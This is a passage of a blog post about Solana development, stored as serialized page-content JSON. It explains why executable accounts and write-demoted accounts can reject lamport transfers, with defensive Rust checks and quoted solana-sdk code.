30,"props":76572,"children":76573},{"style":959},[76574],{"type":30,"value":16986},{"type":24,"tag":930,"props":76576,"children":76577},{"style":1158},[76578],{"type":30,"value":5347},{"type":24,"tag":930,"props":76580,"children":76581},{"style":959},[76582],{"type":30,"value":5539},{"type":24,"tag":930,"props":76584,"children":76585},{"class":932,"line":1525},[76586,76590,76594,76598,76602,76606,76610,76614],{"type":24,"tag":930,"props":76587,"children":76588},{"style":937},[76589],{"type":30,"value":23888},{"type":24,"tag":930,"props":76591,"children":76592},{"style":1158},[76593],{"type":30,"value":436},{"type":24,"tag":930,"props":76595,"children":76596},{"style":959},[76597],{"type":30,"value":16060},{"type":24,"tag":930,"props":76599,"children":76600},{"style":1158},[76601],{"type":30,"value":436},{"type":24,"tag":930,"props":76603,"children":76604},{"style":1002},[76605],{"type":30,"value":76114},{"type":24,"tag":930,"props":76607,"children":76608},{"style":959},[76609],{"type":30,"value":1010},{"type":24,"tag":930,"props":76611,"children":76612},{"style":1023},[76613],{"type":30,"value":18615},{"type":24,"tag":930,"props":76615,"children":76616},{"style":959},[76617],{"type":30,"value":1278},{"type":24,"tag":930,"props":76619,"children":76620},{"class":932,"line":1569},[76621,76625],{"type":24,"tag":930,"props":76622,"children":76623},{"style":943},[76624],{"type":30,"value":17439},{"type":24,"tag":930,"props":76626,"children":76627},{"style":959},[76628],{"type":30,"value":17444},{"type":24,"tag":930,"props":76630,"children":76631},{"class":932,"line":1592},[76632],{"type":24,"tag":930,"props":76633,"children":76634},{"style":959},[76635],{"type":30,"value":2528},{"type":24,"tag":930,"props":76637,"children":76638},{"class":932,"line":1610},[76639],{"type":24,"tag":930,"props":76640,"children":76641},{"emptyLinePlaceholder":16},[76642],{"type":30,"value":2412},{"type":24,"tag":930,"props":76644,"children":76645},{"class":932,"line":1628},[76646],{"type":24,"tag":930,"props":76647,"children":76648},{"style":1422},[76649],{"type":30,"value":76650},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":24,"tag":930,"props":76652,"children":76653},{"class":932,"line":1637},[76654,76658,76662,76666],{"type":24,"tag":930,"props":76655,"children":76656},{"style":959},[76657],{"type":30,"value":76152},{"type":24,"tag":930,"props":76659,"children":76660},{"style":1158},[76661],{"type":30,"value":1161},{"type":24,"tag":930,"props":76663,"children":76664},{"style":1270},[76665],{"type":30,"value":76161},{"type":24,"tag":930,"props":76667,"children":76668},{"style":959},[76669],{"type":30,"value":23712},{"type":24,"tag":930,"props":76671,"children":76672},{"class":932,"line":1646},[76673],{"type":24,"tag":930,"props":76674,"children":76675},{"style":959},[76676],{"type":30,"value":76677},"#[inline]\n",{"type":24,"tag":930,"props":76679,"children":76680},{"class":932,"line":1673},[76681,76685,76690,76694,76698,76702,76706,76710,76714],{"type":24,"tag":930,"props":76682,"children":76683},{"style":937},[76684],{"type":30,"value":23370},{"type":24,"tag":930,"props":76686,"children":76687},{"style":1002},[76688],{"type":30,"value":76689}," is_executable_internal",{"type":24,"tag":930,"props":76691,"children":76692},{"style":959},[76693],{"type":30,"value":1010},{"type":24,"tag":930,"props":76695,"children":76696},{"style":1158},[76697],{"type":30,"value":6230},{"type":24,"tag":930,"props":76699,"children":76700},{"style":937},[76701],{"type":30,"value":16820},{"type":24,"tag":930,"props":76703,"children":76704},{"style":959},[76705],{"type":30,"value":5579},{"type":24,"tag":930,"props":76707,"children":76708},{"style":1158},[76709],{"type":30,"value":16864},{"type":24,"tag":930,"props":76711,"children":76712},{"style":943},[76713],{"type":30,"value":15157},{"type":24,"tag":930,"props":76715,"children":76716},{"style":959},[76717],{"type":30,"value":981},{"type":24,"tag":930,"props":76719,"children":76720},{"class":932,"line":1692},[76721,76725],{"type":24,"tag":930,"props":76722,"children":76723},{"style":1158},[76724],{"type":30,"value":24072},{"type":24,"tag":930,"props":76726,"children":76727},{"style":937},[76728],{"type":30,"value":76729},"self\n",{"type":24,"tag":930,"props":76731,"children":76732},{"class":932,"line":1730},[76733,76737],{"type":24,"tag":930,"props":76734,"children":76735},{"style":1158},[76736],{"type":30,"value":71345},{"type":24,"tag":930,"props":76738,"children":76739},{"style":959},[76740],{"type":30,"value":76741},"transaction_context\n",{"type":24,"tag":930,"props":76743,"children":76744},{"class":932,"line":1762},[76745,76749],{"type":24,"tag":930,"props":76746,"children":76747},{"style":1158},[76748],{"type":30,"value":71345},{"type":24,"tag":930,"props":76750,"children":76751},{"style":959},[76752],{"type":30,"value":76753},"remove_accounts_executable_flag_checks\n",{"type":24,"tag":930,"props":76755,"children":76756},{"class":932,"line":1775},[76757,76761,76765,76769,76773,76777,76781],{"type":24,"tag":930,"props":76758,"children":76759},{"style":1158},[76760],{"type":30,"value":45889},{"type":24,"tag":930,"props":76762,"children":76763},{"style":937},[76764],{"type":30,"value":16904},{"type":24,"tag":930,"props":76766,"children":76767},{"style":1158},[76768],{"type":30,"value":436},{"type":24,"tag":930,"props":76770,"children":76771},{"style":959},[76772],{"type":30,"value":16060},{"type":24,"tag":930,"props":76774,"children":76775},{"style":1158},[76776],{"type":30,"value":436},{"type":24,"tag":930,"props":76778,"children":76779},{"style":1002},[76780],{"type":30,"value":18759},{"type":24,"tag":930,"props":76782,"children":76783},{"style":959},[76784],{"type":30,"value":10846},{"type":24,"tag":930,"props":76786,"children":76787},{"class":932,"line":1825},[76788],{"type":24,"tag":930,"props":76789,"children":76790},{"style":959},[76791],{"type":30,"value":2528},{"type":24,"tag":33,"props":76793,"children":76794},{},[76795],{"type":30,"value":76796},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":24,"tag":33,"props":76798,"children":76799},{},[76800,76802,76807],{"type":30,"value":76801},"Specifically, ",{"type":24,"tag":275,"props":76803,"children":76804},{},[76805],{"type":30,"value":76806},"executable accounts",{"type":30,"value":76808}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":24,"tag":21995,"props":76810,"children":76812},{"id":76811},"sidebar-whats-the-executable-flag-anyway",[76813],{"type":30,"value":76814},"Sidebar: What's the executable Flag Anyway?",{"type":24,"tag":33,"props":76816,"children":76817},{},[76818,76819,76824],{"type":30,"value":259},{"type":24,"tag":156,"props":76820,"children":76822},{"className":76821},[],[76823],{"type":30,"value":18759},{"type":30,"value":76825}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":24,"tag":33,"props":76827,"children":76828},{},[76829,76831,76836],{"type":30,"value":76830},"This behavior became problematic with the introduction of the ",{"type":24,"tag":275,"props":76832,"children":76833},{},[76834],{"type":30,"value":76835},"Upgradeable BPF Loader",{"type":30,"value":76837},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":24,"tag":920,"props":76839,"children":76841},{"className":6102,"code":76840,"language":6101,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[76842],{"type":24,"tag":156,"props":76843,"children":76844},{"__ignoreMap":7},[76845,76857,76865,76885,76893,76905,76913,76933,76941,76969,76977,76985],{"type":24,"tag":930,"props":76846,"children":76847},{"class":932,"line":933},[76848,76853],{"type":24,"tag":930,"props":76849,"children":76850},{"style":943},[76851],{"type":30,"value":76852},"Program",{"type":24,"tag":930,"props":76854,"children":76855},{"style":959},[76856],{"type":30,"value":981},{"type":24,"tag":930,"props":76858,"children":76859},{"class":932,"line":984},[76860],{"type":24,"tag":930,"props":76861,"children":76862},{"style":1422},[76863],{"type":30,"value":76864},"    /// Address of the ProgramData account.\n",{"type":24,"tag":930,"props":76866,"children":76867},{"class":932,"line":993},[76868,76873,76877,76881],{"type":24,"tag":930,"props":76869,"children":76870},{"style":1023},[76871],{"type":30,"value":76872},"    programdata_address",{"type":24,"tag":930,"props":76874,"children":76875},{"style":1158},[76876],{"type":30,"value":476},{"type":24,"tag":930,"props":76878,"children":76879},{"style":943},[76880],{"type":30,"value":23959},{"type":24,"tag":930,"props":76882,"children":76883},{"style":959},[76884],{"type":30,"value":2832},{"type":24,"tag":930,"props":76886,"children":76887},{"class":932,"line":1057},[76888],{"type":24,"tag":930,"props":76889,"children":76890},{"style":959},[76891],{"type":30,"value":76892},"},\n",{"type":24,"tag":930,"props":76894,"children":76895},{"class":932,"line":1066},[76896,76901],{"type":24,"tag":930,"props":76897,"children":76898},{"style":943},[76899],{"type":30,"value":76900},"ProgramData",{"type":24,"tag":930,"props":76902,"children":76903},{"style":959},[76904],{"type":30,"value":981},{"type":24,"tag":930,"props":76906,"children":76907},{"class":932,"line":1075},[76908],{"type":24,"tag":930,"props":76909,"children":76910},{"style":1422},[76911],{"type":30,"value":76912},"    /// Slot that the program was last modified.\n",{"type":24,"tag":930,"props":76914,"children":76915},{"class":932,"line":1122},[76916,76921,76925,76929],{"type":24,"tag":930,"props":76917,"children":76918},{"style":1023},[76919],{"type":30,"value":76920},"    slot",{"type":24,"tag":930,"props":76922,"children":76923},{"style":1158},[76924],{"type":30,"value":476},{"type":24,"tag":930,"props":76926,"children":76927},{"style":943},[76928],{"type":30,"value":8972},{"type":24,"tag":930,"props":76930,"children":76931},{"style":959},[76932],{"type":30,"value":2832},{"type":24,"tag":930,"props":76934,"children":76935},{"class":932,"line":1131},[76936],{"type":24,"tag":930,"props":76937,"children":76938},{"style":1422},[76939],{"type":30,"value":76940},"    /// Address of the Program's upgrade authority.\n",{"type":24,"tag":930,"props":76942,"children":76943},{"class":932,"line":1144},[76944,76949,76953,76957,76961,76965],{"type":24,"tag":930,"props":76945,"children":76946},{"style":1023},[76947],{"type":30,"value":76948},"    upgrade_authority_address",{"type":24,"tag":930,"props":76950,"children":76951},{"style":1158},[76952],{"type":30,"value":476},{"type":24,"tag":930,"props":76954,"children":76955},{"style":943},[76956],{"type":30,"value":30738},{"type":24,"tag":930,"props":76958,"children":76959},{"style":959},[76960],{"type":30,"value":1350},{"type":24,"tag":930,"props":76962,"children":76963},{"style":943},[76964],{"type":30,"value":24500},{"type":24,"tag":930,"props":76966,"children":76967},{"style":959},[76968],{"type":30,"value":9251},{"type":24,"tag":930,"props":76970,"children":76971},{"class":932,"line":1169},[76972],{"type":24,"tag":930,"props":76973,"children":76974},{"style":1422},[76975],{"type":30,"value":76976},"    // The raw program data follows this serialized structure in the\n",{"type":24,"tag":930,"props":76978,"children":76979},{"class":932,"line":1191},[76980],{"type":24,"tag":930,"props":76981,"children":76982},{"style":1422},[76983],{"type":30,"value":76984},"    // account's data.\n",{"type":24,"tag":930,"props":76986,"children":76987},{"class":932,"line":1223},[76988],{"type":24,"tag":930,"props":76989,"children":76990},{"style":959},[76991],{"type":30,"value":76892},{"type":24,"tag":33,"props":76993,"children":76994},{},[76995,76997,77004],{"type":30,"value":76996},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":24,"tag":37,"props":76998,"children":77001},{"href":76999,"rel":77000},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[41],[77002],{"type":30,"value":77003},"SIMD-0162",{"type":30,"value":77005},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":24,"tag":33,"props":77007,"children":77008},{},[77009,77011,77016,77018,77023],{"type":30,"value":77010},"This change is also a ",{"type":24,"tag":275,"props":77012,"children":77013},{},[77014],{"type":30,"value":77015},"hard requirement for supporting the new loader-v4",{"type":30,"value":77017},". Unlike the upgradable loader, which relies on a separate ",{"type":24,"tag":156,"props":77019,"children":77021},{"className":77020},[],[77022],{"type":30,"value":76900},{"type":30,"value":77024}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":24,"tag":33,"props":77026,"children":77027},{},[77028,77030,77037,77039,77044],{"type":30,"value":77029},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":24,"tag":37,"props":77031,"children":77034},{"href":77032,"rel":77033},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[41],[77035],{"type":30,"value":77036},"migrate",{"type":30,"value":77038}," from the upgradable loader to loader-v4 — without hitting the ",{"type":24,"tag":156,"props":77040,"children":77042},{"className":77041},[],[77043],{"type":30,"value":76477},{"type":30,"value":77045}," restriction.",{"type":24,"tag":21995,"props":77047,"children":77049},{"id":77048},"fix-2-reject-program-accounts",[77050],{"type":30,"value":77051},"Fix 2: Reject Program Accounts",{"type":24,"tag":33,"props":77053,"children":77054},{},[77055],{"type":30,"value":77056},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":24,"tag":920,"props":77058,"children":77060},{"className":6102,"code":77059,"language":6101,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[77061],{"type":24,"tag":156,"props":77062,"children":77063},{"__ignoreMap":7},[77064,77140,77188,77204,77211,77250,77294,77318,77367,77395],{"type":24,"tag":930,"props":77065,"children":77066},{"class":932,"line":933},[77067,77071,77075,77080,77084,77088,77092,77096,77100,77104,77108,77112,77116,77120,77124,77128,77132,77136],{"type":24,"tag":930,"props":77068,"children":77069},{"style":937},[77070],{"type":30,"value":16797},{"type":24,"tag":930,"props":77072,"children":77073},{"style":937},[77074],{"type":30,"value":16802},{"type":24,"tag":930,"props":77076,"children":77077},{"style":1002},[77078],{"type":30,"value":77079}," can_transfer_lamports",{"type":24,"tag":930,"props":77081,"children":77082},{"style":959},[77083],{"type":30,"value":1010},{"type":24,"tag":930,"props":77085,"children":77086},{"style":1023},[77087],{"type":30,"value":16060},{"type":24,"tag":930,"props":77089,"children":77090},{"style":1158},[77091],{"type":30,"value":476},{"type":24,"tag":930,"props":77093,"children":77094},{"style":1158},[77095],{"type":30,"value":10253},{"type":24,"tag":930,"props":77097,"children":77098},{"style":943},[77099],{"type":30,"value":18042},{"type":24,"tag":930,"props":77101,"children":77102},{"style":959},[77103],{"type":30,"value":962},{"type":24,"tag":930,"props":77105,"children":77106},{"style":1023},[77107],{"type":30,"value":18615},{"type":24,"tag":930,"props":77109,"children":77110},{"style":1158},[77111],{"type":30,"value":476},{"type":24,"tag":930,"props":77113,"children":77114},{"style":943},[77115],{"type":30,"value":8972},{"type":24,"tag":930,"props":77117,"children":77118},{"style":959},[77119],{"type":30,"value":5579},{"type":24,"tag":930,"props":77121,"children":77122},{"style":1158},[77123],{"type":30,"value":16864},{"type":24,"tag":930,"props":77125,"children":77126},{"style":943},[77127],{"type":30,"value":16869},{"type":24,"tag":930,"props":77129,"children":77130},{"style":959},[77131],{"type":30,"value":1350},{"type":24,"tag":930,"props":77133,"children":77134},{"style":943},[77135],{"type":30,"value":32776},{"type":24,"tag":930,"props":77137,"children":77138},{"style":959},[77139],{"type":30,"value":10392},{"type":24,"tag":930,"props":77141,"children":77142},{"class":932,"line":984},[77143,77147,77152,77156,77160,77164,77168,77172,77176,77180,77184],{"type":24,"tag":930,"props":77144,"children":77145},{"style":937},[77146],{"type":30,"value":23370},{"type":24,"tag":930,"props":77148,"children":77149},{"style":1002},[77150],{"type":30,"value":77151}," is_program",{"type":24,"tag":930,"props":77153,"children":77154},{"style":959},[77155],{"type":30,"value":1010},{"type":24,"tag":930,"props":77157,"children":77158},{"style":1023},[77159],{"type":30,"value":16060},{"type":24,"tag":930,"props":77161,"children":77162},{"style":1158},[77163],{"type":30,"value":476},{"type":24,"tag":930,"props":77165,"children":77166},{"style":1158},[77167],{"type":30,"value":10253},{"type":24,"tag":930,"props":77169,"children":77170},{"style":943},[77171],{"type":30,"value":18042},{"type":24,"tag":930,"props":77173,"children":77174},{"style":959},[77175],{"type":30,"value":5579},{"type":24,"tag":930,"props":77177,"children":77178},{"style":1158},[77179],{"type":30,"value":16864},{"type":24,"tag":930,"props":77181,"children":77182},{"style":943},[77183],{"type":30,"value":15157},{"type":24,"tag":930,"props":77185,"children":77186},{"style":959},[77187],{"type":30,"value":981},{"type":24,"tag":930,"props":77189,"children":77190},{"class":932,"line":993},[77191,77195,77199],{"type":24,"tag":930,"props":77192,"children":77193},{"style":1023},[77194],{"type":30,"value":28263},{"type":24,"tag":930,"props":77196,"children":77197},{"style":1158},[77198],{"type":30,"value":436},{"type":24,"tag":930,"props":77200,"children":77201},{"style":959},[77202],{"type":30,"value":77203},"executable\n",{"type":24,"tag":930,"props":77205,"children":77206},{"class":932,"line":1057},[77207],{"type":24,"tag":930,"props":77208,"children":77209},{"style":959},[77210],{"type":30,"value":2528},{"type":24,"tag":930,"props":77212,"children":77213},{"class":932,"line":1066},[77214,77218,77222,77226,77230,77234,77238,77242,77246],{"type":24,"tag":930,"props":77215,"children":77216},{"style":937},[77217],{"type":30,"value":14894},{"type":24,"tag":930,"props":77219,"children":77220},{"style":1023},[77221],{"type":30,"value":75972},{"type":24,"tag":930,"props":77223,"children":77224},{"style":1158},[77225],{"type":30,"value":6137},{"type":24,"tag":930,"props":77227,"children":77228},{"style":943},[77229],{"type":30,"value":46560},{"type":24,"tag":930,"props":77231,"children":77232},{"style":1158},[77233],{"type":30,"value":6597},{"type":24,"tag":930,"props":77235,"children":77236},{"style":1002},[77237],{"type":30,"value":19454},{"type":24,"tag":930,"props":77239,"children":77240},{"style":959},[77241],{"type":30,"value":16986},{"type":24,"tag":930,"props":77243,"children":77244},{"style":1158},[77245],{"type":30,"value":5347},{"type":24,"tag":930,"props":77247,"children":77248},{"style":959},[77249],{"type":30,"value":5539},{"type":24,"tag":930,"props":77251,"children":77252},{"class":932,"line":1075},[77253,77257,77262,77266,77270,77274,77278,77282,77286,77290],{"type":24,"tag":930,"props":77254,"children":77255},{"style":937},[77256],{"type":30,"value":14894},{"type":24,"tag":930,"props":77258,"children":77259},{"style":1023},[77260],{"type":30,"value":77261}," balance_after",{"type":24,"tag":930,"props":77263,"children":77264},{"style":1158},[77265],{"type":30,"value":6137},{"type":24,"tag":930,"props":77267,"children":77268},{"style":1023},[77269],{"type":30,"value":8595},{"type":24,"tag":930,"props":77271,"children":77272},{"style":1158},[77273],{"type":30,"value":436},{"type":24,"tag":930,"props":77275,"children":77276},{"style":1002},[77277],{"type":30,"value":18615},{"type":24,"tag":930,"props":77279,"children":77280},{"style":959},[77281],{"type":30,"value":3446},{"type":24,"tag":930,"props":77283,"children":77284},{"style":1158},[77285],{"type":30,"value":1400},{"type":24,"tag":930,"props":77287,"children":77288},{"style":1023},[77289],{"type":30,"value":76282},{"type":24,"tag":930,"props":77291,"children":77292},{"style":959},[77293],{"type":30,"value":5539},{"type":24,"tag":930,"props":77295,"children":77296},{"class":932,"line":1122},[77297,77301,77305,77309,77313],{"type":24,"tag":930,"props":77298,"children":77299},{"style":943},[77300],{"type":30,"value":23593},{"type":24,"tag":930,"props":77302,"children":77303},{"style":959},[77304],{"type":30,"value":1010},{"type":24,"tag":930,"props":77306,"children":77307},{"style":1023},[77308],{"type":30,"value":16060},{"type":24,"tag":930,"props":77310,"children":77311},{"style":1158},[77312],{"type":30,"value":436},{"type":24,"tag":930,"props":77314,"children":77315},{"style":959},[77316],{"type":30,"value":77317},"is_writable\n",{"type":24,"tag":930,"props":77319,"children":77320},{"class":932,"line":1131},[77321,77325,77329,77333,77338,77342,77347,77351,77355,77359,77363],{"type":24,"tag":930,"props":77322,"children":77323},{"style":1158},[77324],{"type":30,"value":18725},{"type":24,"tag":930,"props":77326,"children":77327},{"style":1023},[77328],{"type":30,"value":75972},{"type":24,"tag":930,"props":77330,"children":77331},{"style":1158},[77332],{"type":30,"value":436},{"type":24,"tag":930,"props":77334,"children":77335},{"style":1002},[77336],{"type":30,"value":77337},"is_exempt",{"type":24,"tag":930,"props":77339,"children":77340},{"style":959},[77341],{"type":30,"value":1010},{"type":24,"tag":930,"props":77343,"children":77344},{"style":1023},[77345],{"type":30,"value":77346},"balance_after",{"type":24,"tag":930,"props":77348,"children":77349},{"style":959},[77350],{"type":30,"value":962},{"type":24,"tag":930,"props":77352,"children":77353},{"style":1023},[77354],{"type":30,"value":16060},{"type":24,"tag":930,"props":77356,"children":77357},{"style":1158},[77358],{"type":30,"value":436},{"type":24,"tag":930,"props":77360,"children":77361},{"style":1002},[77362],{"type":30,"value":16913},{"type":24,"tag":930,"props":77364,"children":77365},{"style":959},[77366],{"type":30,"value":18764},{"type":24,"tag":930,"props":77368,"children":77369},{"class":932,"line":1144},[77370,77374,77378,77383,77387,77391],{"type":24,"tag":930,"props":77371,"children":77372},{"style":1158},[77373],{"type":30,"value":18725},{"type":24,"tag":930,"props":77375,"children":77376},{"style":1158},[77377],{"type":30,"value":15971},{"type":24,"tag":930,"props":77379,"children":77380},{"style":1002},[77381],{"type":30,"value":77382},"is_program",{"type":24,"tag":930,"props":77384,"children":77385},{"style":959},[77386],{"type":30,"value":1010},{"type":24,"tag":930,"props":77388,"children":77389},{"style":1023},[77390],{"type":30,"value":16060},{"type":24,"tag":930,"props":77392,"children":77393},{"style":959},[77394],{"type":30,"value":22815},{"type":24,"tag":930,"props":77396,"children":77397},{"class":932,"line":1169},[77398],{"type":24,"tag":930,"props":77399,"children":77400},{"style":959},[77401],{"type":30,"value":2528},{"type":24,"tag":33,"props":77403,"children":77404},{},[77405],{"type":30,"value":77406},"Now we’re safe...right?",{"type":24,"tag":151,"props":77408,"children":77410},{"id":77409},"bug-3-the-write-demotion-trap",[77411],{"type":30,"value":77412},"Bug 3: The Write-Demotion Trap",{"type":24,"tag":33,"props":77414,"children":77415},{},[77416,77418,77423,77425,77430],{"type":30,"value":77417},"On Solana, accounts passed as ",{"type":24,"tag":275,"props":77419,"children":77420},{},[77421],{"type":30,"value":77422},"writable",{"type":30,"value":77424}," in a transaction can be ",{"type":24,"tag":275,"props":77426,"children":77427},{},[77428],{"type":30,"value":77429},"silently downgraded to read-only",{"type":30,"value":77431},". This behavior occurs during message sanitization — even before your program runs.",{"type":24,"tag":33,"props":77433,"children":77434},{},[77435,77437,77444],{"type":30,"value":77436},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":24,"tag":37,"props":77438,"children":77441},{"href":77439,"rel":77440},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[41],[77442],{"type":30,"value":77443},"MessageV0",{"type":30,"value":77445},", but legacy is simpler to follow):",{"type":24,"tag":920,"props":77447,"children":77449},{"className":6102,"code":77448,"language":6101,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[77450],{"type":24,"tag":156,"props":77451,"children":77452},{"__ignoreMap":7},[77453,77461,77485,77573,77594,77606,77622,77638,77686,77715,77769,77805,77813,77850,77862,77900,77912,77919,77926,77933,77940,77948,78008,78061],{"type":24,"tag":930,"props":77454,"children":77455},{"class":932,"line":933},[77456],{"type":24,"tag":930,"props":77457,"children":77458},{"style":1422},[77459],{"type":30,"value":77460},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":24,"tag":930,"props":77462,"children":77463},{"class":932,"line":984},[77464,77468,77473,77477,77481],{"type":24,"tag":930,"props":77465,"children":77466},{"style":937},[77467],{"type":30,"value":31287},{"type":24,"tag":930,"props":77469,"children":77470},{"style":943},[77471],{"type":30,"value":77472}," LegacyMessage",{"type":24,"tag":930,"props":77474,"children":77475},{"style":959},[77476],{"type":30,"value":26024},{"type":24,"tag":930,"props":77478,"children":77479},{"style":943},[77480],{"type":30,"value":6204},{"type":24,"tag":930,"props":77482,"children":77483},{"style":959},[77484],{"type":30,"value":10392},{"type":24,"tag":930,"props":77486,"children":77487},{"class":932,"line":993},[77488,77492,77496,77500,77504,77508,77512,77517,77521,77526,77530,77535,77539,77543,77548,77552,77556,77560,77564,77569],{"type":24,"tag":930,"props":77489,"children":77490},{"style":937},[77491],{"type":30,"value":23945},{"type":24,"tag":930,"props":77493,"children":77494},{"style":937},[77495],{"type":30,"value":16802},{"type":24,"tag":930,"props":77497,"children":77498},{"style":1002},[77499],{"type":30,"value":35023},{"type":24,"tag":930,"props":77501,"children":77502},{"style":959},[77503],{"type":30,"value":1010},{"type":24,"tag":930,"props":77505,"children":77506},{"style":1023},[77507],{"type":30,"value":71122},{"type":24,"tag":930,"props":77509,"children":77510},{"style":1158},[77511],{"type":30,"value":476},{"type":24,"tag":930,"props":77513,"children":77514},{"style":959},[77515],{"type":30,"value":77516}," legacy",{"type":24,"tag":930,"props":77518,"children":77519},{"style":1158},[77520],{"type":30,"value":6597},{"type":24,"tag":930,"props":77522,"children":77523},{"style":943},[77524],{"type":30,"value":77525},"Message",{"type":24,"tag":930,"props":77527,"children":77528},{"style":959},[77529],{"type":30,"value":962},{"type":24,"tag":930,"props":77531,"children":77532},{"style":1023},[77533],{"type":30,"value":77534},"reserved_account_keys",{"type":24,"tag":930,"props":77536,"children":77537},{"style":1158},[77538],{"type":30,"value":476},{"type":24,"tag":930,"props":77540,"children":77541},{"style":1158},[77542],{"type":30,"value":10253},{"type":24,"tag":930,"props":77544,"children":77545},{"style":943},[77546],{"type":30,"value":77547},"HashSet",{"type":24,"tag":930,"props":77549,"children":77550},{"style":959},[77551],{"type":30,"value":1350},{"type":24,"tag":930,"props":77553,"children":77554},{"style":943},[77555],{"type":30,"value":24500},{"type":24,"tag":930,"props":77557,"children":77558},{"style":959},[77559],{"type":30,"value":23550},{"type":24,"tag":930,"props":77561,"children":77562},{"style":1158},[77563],{"type":30,"value":16864},{"type":24,"tag":930,"props":77565,"children":77566},{"style":937},[77567],{"type":30,"value":77568}," Self",{"type":24,"tag":930,"props":77570,"children":77571},{"style":959},[77572],{"type":30,"value":981},{"type":24,"tag":930,"props":77574,"children":77575},{"class":932,"line":1057},[77576,77580,77585,77589],{"type":24,"tag":930,"props":77577,"children":77578},{"style":937},[77579],{"type":30,"value":6186},{"type":24,"tag":930,"props":77581,"children":77582},{"style":1023},[77583],{"type":30,"value":77584}," is_writable_account_cache",{"type":24,"tag":930,"props":77586,"children":77587},{"style":1158},[77588],{"type":30,"value":6137},{"type":24,"tag":930,"props":77590,"children":77591},{"style":1023},[77592],{"type":30,"value":77593}," message\n",{"type":24,"tag":930,"props":77595,"children":77596},{"class":932,"line":1066},[77597,77601],{"type":24,"tag":930,"props":77598,"children":77599},{"style":1158},[77600],{"type":30,"value":6288},{"type":24,"tag":930,"props":77602,"children":77603},{"style":959},[77604],{"type":30,"value":77605},"account_keys\n",{"type":24,"tag":930,"props":77607,"children":77608},{"class":932,"line":1075},[77609,77613,77618],{"type":24,"tag":930,"props":77610,"children":77611},{"style":1158},[77612],{"type":30,"value":6288},{"type":24,"tag":930,"props":77614,"children":77615},{"style":1002},[77616],{"type":30,"value":77617},"iter",{"type":24,"tag":930,"props":77619,"children":77620},{"style":959},[77621],{"type":30,"value":10846},{"type":24,"tag":930,"props":77623,"children":77624},{"class":932,"line":1122},[77625,77629,77634],{"type":24,"tag":930,"props":77626,"children":77627},{"style":1158},[77628],{"type":30,"value":6288},{"type":24,"tag":930,"props":77630,"children":77631},{"style":1002},[77632],{"type":30,"value":77633},"enumerate",{"type":24,"tag":930,"props":77635,"children":77636},{"style":959},[77637],{"type":30,"value":10846},{"type":24,"tag":930,"props":77639,"children":77640},{"class":932,"line":1131},[77641,77645,77649,77653,77657,77661,77665,77669,77674,77678,77682],{"type":24,"tag":930,"props":77642,"children":77643},{"style":1158},[77644],{"type":30,"value":6288},{"type":24,"tag":930,"props":77646,"children":77647},{"style":1002},[77648],{"type":30,"value":70187},{"type":24,"tag":930,"props":77650,"children":77651},{"style":959},[77652],{"type":30,"value":1010},{"type":24,"tag":930,"props":77654,"children":77655},{"style":1158},[77656],{"type":30,"value":13523},{"type":24,"tag":930,"props":77658,"children":77659},{"style":959},[77660],{"type":30,"value":1010},{"type":24,"tag":930,"props":77662,"children":77663},{"style":1023},[77664],{"type":30,"value":6854},{"type":24,"tag":930,"props":77666,"children":77667},{"style":959},[77668],{"type":30,"value":962},{"type":24,"tag":930,"props":77670,"children":77671},{"style":1023},[77672],{"type":30,"value":77673},"_key",{"type":24,"tag":930,"props":77675,"children":77676},{"style":959},[77677],{"type":30,"value":6249},{"type":24,"tag":930,"props":77679,"children":77680},{"style":1158},[77681],{"type":30,"value":13523},{"type":24,"tag":930,"props":77683,"children":77684},{"style":959},[77685],{"type":30,"value":981},{"type":24,"tag":930,"props":77687,"children":77688},{"class":932,"line":1144},[77689,77694,77698,77703,77707,77711],{"type":24,"tag":930,"props":77690,"children":77691},{"style":1023},[77692],{"type":30,"value":77693},"                